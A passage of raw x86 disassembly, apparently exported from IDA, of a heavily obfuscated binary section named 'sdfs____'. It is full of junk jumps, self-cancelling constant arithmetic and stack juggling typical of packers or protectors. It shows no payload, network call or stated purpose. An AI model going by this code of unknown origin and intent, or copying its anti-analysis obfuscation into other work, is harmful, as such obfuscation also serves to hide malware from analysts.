		and	eax, ebp
		push	[esp+8+var_8]
		pop	ebp
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		push	esp
		pop	ebx
		jmp	loc_593910
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_591AC7:				; CODE XREF: sdfs____:0058E175j
		mov	dh, 0A1h
		sub	dh, 17h
		add	al, dh
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_58C027

; =============== S U B	R O U T	I N E =======================================



sub_591AD9	proc near		; CODE XREF: sub_59841F-BDE8j
					; sub_595678+1BDEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058D5B9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E65B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F486 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00591652 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00592EF8 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00594D71 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005959A2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00595AC4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00597AAD SIZE 0000000F BYTES

		push	ebp
		mov	ebp, 47915E51h
		or	eax, ebp
		pop	ebp
		jmp	loc_591652
sub_591AD9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_591AE7:				; CODE XREF: sub_594228-462Fj
		push	edi
		mov	edx, [esp+16h+var_18+2]
		add	esp, 4
		pop	edi
		add	eax, edx
		push	[esp+0Eh+var_10+2]
		pop	edx
		add	esp, 4
		jmp	loc_58C754
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_591B00:				; CODE XREF: sdfs____:0058D9CCj
		push	dword ptr [esp]
		jmp	loc_591BCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_591B08:				; CODE XREF: sub_5985AE-87Fj
		add	esp, 4
		push	2DC3h
		mov	[esp+0], eax
		jmp	loc_590B1C
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_591B1B:				; CODE XREF: sub_5987BC-A36j
		sub	ah, 0FEh
		add	ah, 5
		jmp	loc_58F7EA
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_591B26:				; CODE XREF: sdfs____:005925D5j
		push	edi
		mov	edi, 3D333F76h
		jmp	loc_595EFC
; ---------------------------------------------------------------------------


loc_591B31:				; CODE XREF: sdfs____:0058C846j
		mov	edx, 2
		mov	ebx, edx
		jmp	loc_5966FB
; ---------------------------------------------------------------------------


loc_591B3D:				; CODE XREF: sdfs____:00596F3Bj
		xor	esi, 299349ACh
		not	esi
		neg	esi
		xor	esi, 64A649Dh
		jmp	loc_58F8AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_591B52:				; CODE XREF: sub_591435-22AAj
		or	edx, eax
		shl	edx, 1
		jmp	sub_58EC13
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_591B5B:				; CODE XREF: sdfs____:00593F2Ej
		push	ebx
		mov	ebx, esp
		push	edi
		push	esi
		jmp	loc_590A9D
; ---------------------------------------------------------------------------


loc_591B65:				; CODE XREF: sdfs____:0059164Dj
		add	esi, 5A885C0Fh
		add	esi, 140C33CBh
		jmp	loc_594C77
; ---------------------------------------------------------------------------


loc_591B76:				; CODE XREF: sdfs____:0059765Ej
		neg	ecx
		jmp	loc_59679C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_591B7D:				; CODE XREF: sub_5985AE-3752j
		mov	edi, 509E494Ah
		sub	[esp+arg_8], edi
		jmp	loc_591F03
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_591B8B:				; CODE XREF: sdfs____:0058F16Ej
		add	ebp, 53A631E4h
		jmp	loc_58E1D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_591B96:				; CODE XREF: sub_591370+5063j
		sub	ch, 0A6h
		xor	al, ch
		jmp	loc_58FCCB
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_591BA0:				; CODE XREF: sdfs____:0058BEB4j
					; sdfs____:0059053Ej
		add	edi, 686E060Eh
		add	edi, ebx
		jmp	loc_596C03
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596736


loc_591BAD:				; CODE XREF: sub_596736+7j
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		push	[esp+8+var_8]
		jmp	loc_595014
; END OF FUNCTION CHUNK	FOR sub_596736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_591BBF:				; CODE XREF: sub_59841F-C972j
		pop	eax
		jmp	loc_58FE34
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_591BC5:				; CODE XREF: sdfs____:00590653j
		mov	ebp, 4
		jmp	loc_58EFC9
; ---------------------------------------------------------------------------


loc_591BCF:				; CODE XREF: sdfs____:00591B03j
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		xor	edi, [esp]
		jmp	loc_594FB3
; ---------------------------------------------------------------------------


loc_591BE6:				; CODE XREF: sdfs____:00594452j
		jmp	loc_58ED1C
; ---------------------------------------------------------------------------


loc_591BEB:				; CODE XREF: sdfs____:00591A65j
		or	ecx, 198D30CEh
		shr	ecx, 5
		and	ecx, 55F3B52h
		sub	ecx, 55F3B0Eh
		jmp	loc_58E876
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_591C05:				; CODE XREF: sub_591435-429j
		xor	ebp, 4CAF2A0Dh
		sub	ebp, 4DE84233h
		jmp	loc_5959C8
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_591C16:				; CODE XREF: sub_5962EB-66Fj
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], ebx
		mov	ebx, 42B744C2h
		xor	ebx, 200C4FBAh
		jmp	loc_59032A
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_591C2C:				; CODE XREF: sub_58EB23-1F5Dj
		add	esp, 4
		jmp	loc_59096C
; END OF FUNCTION CHUNK	FOR sub_58EB23
; ---------------------------------------------------------------------------


loc_591C34:				; CODE XREF: sdfs____:loc_594B8Cj
		sub	ebx, 9F073A6Bh
		mov	esi, ebx
		pop	ebx
		jmp	loc_58C4D5
; ---------------------------------------------------------------------------


loc_591C42:				; CODE XREF: sdfs____:00593949j
		add	bh, dl
		pop	edx
		push	eax
		mov	ah, 2Ch
		add	bh, 34h
		jmp	loc_58E6A7
; ---------------------------------------------------------------------------


loc_591C50:				; CODE XREF: sdfs____:00597DAEj
		push	25C8h
		mov	[esp], esp
		jmp	loc_593098
; ---------------------------------------------------------------------------


loc_591C5D:				; CODE XREF: sdfs____:005915F4j
		push	ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_591C65:				; CODE XREF: sdfs____:00592477j
		pop	ecx
		add	eax, 3720988h
		push	esi
		push	ebp
		jmp	loc_594846
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_591C72:				; CODE XREF: sub_594228+14j
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+12h+var_14+2]
		jmp	loc_596AE9
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_591C87:				; CODE XREF: sdfs____:0058EF11j
		sub	al, 69h
		sub	al, bh
		add	al, 69h
		jmp	loc_58E168
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_590392
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_591C9E:				; CODE XREF: sub_5BB696-2B485j
		mov	eax, esp
		add	eax, 4
		jmp	loc_594CBD
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_591CAA:				; CODE XREF: sub_5941BD-14DAj
		push	edx
		mov	edx, 5D2669ADh
		add	ecx, edx
		jmp	loc_58CD5C
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_591CB7:				; CODE XREF: sdfs____:0058CF06j
		push	ebp
		jmp	loc_58C1FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_591CBD:				; CODE XREF: sdfs____:00593642j
					; sub_594228+183Dj
		not	ecx
		jmp	loc_593E37
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_591CC4:				; CODE XREF: sub_5917C0+2DCEj
		pop	eax
		jmp	loc_58F8BC
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_591CCA:				; CODE XREF: sdfs____:005918E5j
		push	3741h
		jmp	loc_597E22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_591CD4:				; CODE XREF: sub_5941BD-1DEj
					; sub_5985AE-2460j
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_591CDF:				; CODE XREF: sdfs____:0058E977j
		pop	ecx
		push	0CAEh
		mov	[esp], edi
		jmp	loc_595350
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EC6C


loc_591CED:				; CODE XREF: sub_58EC6C+3E6Bj
		add	esp, 4
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		jmp	loc_597E3F
; END OF FUNCTION CHUNK	FOR sub_58EC6C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_591CFE:				; CODE XREF: sub_591435+4A29j
		mov	ebx, 0CCA4DDADh
		add	ebp, ebx
		pop	ebx
		jmp	loc_58C087
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA0A


loc_591D0B:				; CODE XREF: sub_58FA0A+1D14j
					; sub_591370+23B2j
		pop	ebx
		add	edx, 5451326Eh
		add	edx, ecx
		push	eax
		mov	eax, 5451326Eh
		jmp	loc_59016D
; END OF FUNCTION CHUNK	FOR sub_58FA0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590561


loc_591D1F:				; CODE XREF: sub_590561+272j
		pop	edx
		or	si, cx
		jmp	loc_594D10
; END OF FUNCTION CHUNK	FOR sub_590561
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_591D28:				; CODE XREF: sub_591370+D31j
					; sdfs____:005953A4j
		shr	eax, 4
		shl	eax, 5
		shr	eax, 8
		push	ebx
		mov	ebx, 6A0B5936h
		and	eax, ebx
		pop	ebx
		push	ebx
		mov	ebx, 0FFFCB7EEh
		add	eax, ebx
		push	[esp-8+arg_4]
		pop	ebx
		add	esp, 4
		add	edi, eax
		pop	eax
		sub	edi, 2
		xor	edi, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], edi
		xor	edi, [esp-10h+arg_C]
		pop	esp
		mov	word ptr [esp-14h+arg_10], ax
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_591D65:				; CODE XREF: sub_591435-2658j
		mov	[esp+14h+var_14], eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+14h+var_14]
		xor	[esp+14h+var_14], eax
		xor	eax, [esp+14h+var_14]
		jmp	loc_59166D
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_591D80:				; CODE XREF: sdfs____:00590986j
		sub	eax, 326107F6h
		push	esi
		mov	esi, 4F666745h
		inc	esi
		add	esi, 50837F77h
		xor	esi, 591C3939h
		jmp	loc_58DABD
; ---------------------------------------------------------------------------


loc_591D9D:				; CODE XREF: sdfs____:0058CE97j
		add	eax, 4F40EDB2h
		mov	ebx, eax
		pop	eax
		sub	ebx, esi
		pop	esi
		add	edx, 11680CA5h
		add	edx, 40F0350Bh
		jmp	loc_58D94B
; ---------------------------------------------------------------------------


loc_591DB9:				; CODE XREF: sdfs____:0058F56Ej
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		jmp	loc_5973C8
; ---------------------------------------------------------------------------


loc_591DC9:				; CODE XREF: sdfs____:0059885Aj
		push	6D34h
		mov	[esp], ecx
		push	edx
		push	ecx
		jmp	loc_593AF3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59377D


loc_591DD8:				; CODE XREF: sub_59377D-527Aj
		mov	esi, 44A2841h
		add	[esp+0Ch+var_8], esi
		jmp	loc_58FDF1
; END OF FUNCTION CHUNK	FOR sub_59377D
; ---------------------------------------------------------------------------


loc_591DE6:				; CODE XREF: sdfs____:00594477j
		mov	[esp], edi
		mov	edi, 662D57D0h
		add	edi, 99D2A834h
		sub	ecx, edi
		pop	edi
		push	2D04h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_58CAF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598A21


loc_591E08:				; CODE XREF: sub_598A21-A767j
		not	ebp
		jmp	loc_58BD05
; END OF FUNCTION CHUNK	FOR sub_598A21
; ---------------------------------------------------------------------------


loc_591E0F:				; CODE XREF: sdfs____:00594F6Cj
		pop	eax
		inc	ebp
		xor	ebp, 201C0982h
		add	edi, ebp
		pop	ebp
		jmp	loc_5901D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_591E1F:				; CODE XREF: sub_5962EB+2A7Aj
		xor	eax, esi
		jmp	loc_592864
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_591E26:				; CODE XREF: sdfs____:00596775j
		add	esp, 4
		jmp	loc_58D667
; ---------------------------------------------------------------------------


loc_591E31:				; CODE XREF: sdfs____:0058E64Fj
		xchg	eax, [esp]
		jmp	loc_591689
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_591E39:				; CODE XREF: sub_591435-3FE8j
		neg	eax
		jmp	loc_59823E
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_591E40:				; CODE XREF: sdfs____:0058C1EFj
		add	eax, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_593EC2
; ---------------------------------------------------------------------------


loc_591E89:				; CODE XREF: sdfs____:00591068j
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	eax
		mov	eax, 4
		add	ecx, 22CC0ED8h
		jmp	loc_58ED81
; ---------------------------------------------------------------------------


loc_591EA2:				; CODE XREF: sdfs____:00597FC3j
		add	esp, 4
		push	esi
		mov	esi, 4
		add	eax, 6BC36928h
		sub	eax, esi
		sub	eax, 6BC36928h
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_598899
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_591ECC:				; CODE XREF: sub_5962EB-611j
		push	ecx
		xchg	edx, [esp+8+var_8]
		xchg	ebp, edx
		push	ebp
		not	dword ptr [esp+0]
		pop	ebp
		xchg	ebp, edx
		xchg	edx, [esp+8+var_8]
		pop	ecx
		push	4BC7h
		mov	[esp+8+var_8], ecx
		push	[esp+8+var_4]
		jmp	loc_595609
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_591EEE:				; CODE XREF: sdfs____:005946C9j
		mov	bh, 12h
		sub	al, bh
		jmp	loc_594827
; ---------------------------------------------------------------------------


loc_591EF7:				; CODE XREF: sdfs____:0058F012j
		movsx	cx, al
		sub	esp, 4
		jmp	loc_590834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_591F03:				; CODE XREF: sub_5985AE-6A28j
		pop	edi
		jmp	loc_58D3EA
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_591F09:				; CODE XREF: sdfs____:0058F3AAj
		push	eax
		jmp	loc_5960FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_591F0F:				; CODE XREF: sub_594228-49E8j
					; sub_5962EB-3EBAj
		pop	esi
		jmp	loc_595CFD
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_591F1D:				; CODE XREF: sub_594228+1C2Bj
		pop	esi
		pop	[esp-12h+arg_E]
		pop	esp
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_591F2E:				; CODE XREF: sdfs____:00597269j
		push	edi
		mov	edi, esp
		push	eax
		jmp	loc_594E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_591F37:				; CODE XREF: sub_5917C0-BE4j
		add	esp, 4
		add	eax, 1FC90675h
		sub	eax, ebx
		sub	eax, 1FC90675h
		push	edi
		push	ebx
		mov	ebx, 2E8E2934h
		mov	edi, ebx
		pop	ebx
		push	edi
		jmp	loc_58DFC4
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_591F59:				; CODE XREF: sdfs____:0059278Ej
		add	eax, 3D1D24DDh
		sub	eax, 6128440Fh
		jmp	loc_593D2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_591F68:				; CODE XREF: sub_591370+45EAj
		mov	esi, 0
		jmp	loc_58BF1E
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_591F72:				; CODE XREF: sub_594228-76BBj
		movzx	ecx, al
		push	45B7h
		mov	[esp+22h+var_24+2], ecx
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_591F82:				; CODE XREF: sdfs____:00596EACj
		pop	ecx
		push	ebx
		mov	ebx, 399C1C48h
		jmp	loc_598AD3
; ---------------------------------------------------------------------------


loc_591F8E:				; CODE XREF: sdfs____:0058EB43j
		add	esp, 4
		xor	edi, 0FB7D0004h
		add	esi, edi
		pop	edi
		push	ebp
		mov	ebp, 5DD578F9h
		xor	ebp, 5DD578FBh
		add	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_594867
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_591FCB:				; CODE XREF: sdfs____:0058D1C6j
					; sub_591435+6E6Bj
		add	[esp+8+var_8], 4
		pop	esi
		push	ebx
		jmp	loc_595437
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_591FD9:				; CODE XREF: sub_58BDAA+25ABj
					; sub_5962EB-2BE0j
		push	edx
		mov	edx, 16D44970h
		jmp	loc_58CCC2
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_591FE4:				; CODE XREF: sub_5985AE-BD5Dj
		xor	edi, 7DBB6A95h
		mov	ebp, edi
		jmp	loc_594E5A
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_591FF1:				; CODE XREF: sub_5962EB+4F3j
		mov	edx, 7C9632F5h
		jmp	loc_594A5D
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_591FFB:				; CODE XREF: sub_591370+27DCj
		sub	ebx, ebp
		mov	ebp, [esp-10h+arg_C]
		add	esp, 4
		push	ebp
		jmp	loc_5931AA
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	113Ah
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_590448
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_592033:				; CODE XREF: sdfs____:00593006j
					; sub_594228+40A6j
		pop	esi
		add	ebx, edx
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+1Eh+var_20+2]
		pop	esp
		mov	[esp+1Ah+var_1C+2], edx
		mov	edx, 4
		sub	ebx, 614D33B2h
		jmp	loc_58EE08
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59205D:				; CODE XREF: sub_591435-12E0j
					; sdfs____:005903C0j
		xor	[esp+16h+var_18+2], edx
		xor	edx, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		push	edx
		mov	dh, 0F9h
		dec	dh
		and	dh, 1
		xor	dh, 0CCh
		sub	bl, dh
		pop	edx
		add	bl, al
		jmp	loc_592EC0
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_591168
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_592095:				; CODE XREF: sub_591370-1681j
		pop	ebp
		or	edx, eax
		shl	edx, 1
		jmp	loc_58E5FC
; ---------------------------------------------------------------------------


loc_59209F:				; CODE XREF: sdfs____:0058C70Bj
					; sub_591370+7152j
		not	dl
		jmp	loc_591D28
; END OF FUNCTION CHUNK	FOR sub_591370

; =============== S U B	R O U T	I N E =======================================



sub_5920A6	proc near		; CODE XREF: sub_594228-7F11j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0058F52D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593698 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00596362 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005975DE SIZE 00000018 BYTES

		push	ebx
		jmp	loc_596362
sub_5920A6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5920AC:				; CODE XREF: sdfs____:00592F9Ej
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_594569
; ---------------------------------------------------------------------------


loc_5920BD:				; CODE XREF: sdfs____:0058E62Fj
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_593310
; ---------------------------------------------------------------------------


loc_5920CD:				; CODE XREF: sdfs____:0059546Aj
		pop	edx
		dec	edx
		jz	loc_58F976
		xor	edx, 720E5BC8h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebp, ebx
		pop	ebx
		push	edx
		mov	edx, 2
		sub	ebp, 3BD321A4h
		add	ebp, edx
		add	ebp, 3BD321A4h
		jmp	loc_58E508
; ---------------------------------------------------------------------------


loc_592102:				; CODE XREF: sdfs____:0059694Cj
		neg	ecx
		jmp	loc_58F414
; ---------------------------------------------------------------------------


loc_592109:				; CODE XREF: sdfs____:005960AEj
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_59297C
; ---------------------------------------------------------------------------


loc_592117:				; CODE XREF: sdfs____:00595CACj
		dec	word ptr [esp]
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_592121:				; CODE XREF: sdfs____:005984BBj
		pop	edx
		sub	eax, 72B405AFh
		add	eax, edi
		add	eax, 72B405AFh
		jmp	loc_58C13E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_592133:				; CODE XREF: sub_58EB23+A297j
		push	ecx
		mov	ch, 0Ch
		sub	ch, 2Ch
		js	loc_5959B0
		xor	ch, 63h
		xor	ch, 0B0h
		jge	loc_58BAB2
		add	al, 0FEh
		pop	ebp
; END OF FUNCTION CHUNK	FOR sub_58EB23

; =============== S U B	R O U T	I N E =======================================



sub_59214E	proc near		; CODE XREF: sub_5917C0-2A60j
					; sdfs____:0059401Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_14		= dword	ptr  18h

; FUNCTION CHUNK AT 0058BCF7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058C321 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058C613 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058CA3C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CDD9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058D333 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058D375 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058DB1C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058DB70 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058DDEC SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058E4A3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592232 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059295F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005938DB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593D61 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00595C55 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00596869 SIZE 00000010 BYTES

		sub	esp, 4
		jmp	loc_593D61
sub_59214E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_592159:				; CODE XREF: sub_591370-2DE3j
		mov	al, 0E1h
		shl	al, 3
		jmp	loc_598018
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BAD7


loc_592163:				; CODE XREF: sub_58BAD7+3j
		mov	[esp+4+var_4], esi
		mov	esi, 0FFFFFFFFh
		push	6F23h
		mov	[esp+8+var_8], esi
		push	ebp
		push	ecx
		push	33546E84h
		pop	ecx
		shl	ecx, 1
		sub	ecx, 24752DA7h
		jg	loc_58D35B
		jmp	loc_5938DB
; END OF FUNCTION CHUNK	FOR sub_58BAD7
; ---------------------------------------------------------------------------
		jmp	loc_58CC2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594767


loc_592193:				; CODE XREF: sub_594767-8C17j
		xor	ebx, 82CEAB56h
		jmp	sub_58CDE6
; END OF FUNCTION CHUNK	FOR sub_594767
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59219E:				; CODE XREF: sub_591435+3EDj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58C9BA
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59369D


loc_5921AF:				; CODE XREF: sub_59369D-70E3j
		xor	ebx, eax
		jmp	loc_596C2C
; END OF FUNCTION CHUNK	FOR sub_59369D
; ---------------------------------------------------------------------------


loc_5921B6:				; CODE XREF: sdfs____:0058FD50j
		add	dword ptr [esp], 4
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		push	edi
		jmp	loc_58F333
; ---------------------------------------------------------------------------


loc_5921CA:				; CODE XREF: sdfs____:005959F6j
		mov	edx, 0F16035B7h
		sub	eax, 3E16899h
		add	eax, edx
		add	eax, 3E16899h
		pop	edx
		mov	edx, eax
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	edx, 0FFFFFFFFh
		add	edx, 4ACA2208h
		jmp	loc_594ABC
; ---------------------------------------------------------------------------


loc_5921FF:				; CODE XREF: sdfs____:005908EEj
		xor	ebx, [esp]
		jmp	loc_58EF49
; ---------------------------------------------------------------------------


loc_592207:				; CODE XREF: sdfs____:0059021Ej
		push	ecx
		mov	ecx, esp
		jmp	loc_595659
; ---------------------------------------------------------------------------


